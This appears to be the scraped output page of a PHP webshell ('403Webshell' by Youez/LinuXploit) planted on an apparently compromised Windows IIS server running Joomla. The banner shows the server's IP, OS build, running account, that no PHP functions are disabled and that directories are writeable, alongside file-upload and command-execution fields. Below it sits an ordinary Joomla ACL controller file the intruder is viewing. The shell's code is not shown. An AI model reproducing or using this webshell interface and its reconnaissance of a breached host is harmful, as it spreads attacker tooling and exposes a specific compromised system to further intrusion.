403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/modules/modules.php
<?php
/**
 * No Direct Access
 */
defined( '_JEXEC' ) or die( 'Restricted access' );

/**
 * Users Component Controller
 *
 * @package		Joomla
 * @subpackage	Adapters
 * @since 1.5
 */
class ModulesController extends Adapters
{
	/**
	 * Save Adapter
	 */
	function save($groupName)
	{
        /**
         * Checking post of adapter menu
         */
            if( !empty($_POST['modules']) ){
                $post = $_POST['modules'];
                
                /**
                 * Saving site rules
                 */
                if( !empty($post['Site']) ){
                    foreach($post['Site'] as $module => $moduleData){
                        $extraParams = array(
                            '$module' => $module
                        );
                        
                        foreach($moduleData as $moduleName => $view){
                        	$extraParams['$moduletitle'] = $moduleName;
                        	
							/**
							 * Saving Rule
							 */
							$resultRuleSite = $this->saveRule("modules","site",$groupName,$view['tasks'],$extraParams);
                        }
                    }
                }

                return $resultRuleSite;
            }
	}

	/**
	 * Delete Adapter
	 */
	function delete($groupName='')
	{
		$this->deleteRules("com_modules","block",$groupName);
	}

	/**
	 * Displays a view
	 */
	function display()
	{
		parent::display();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit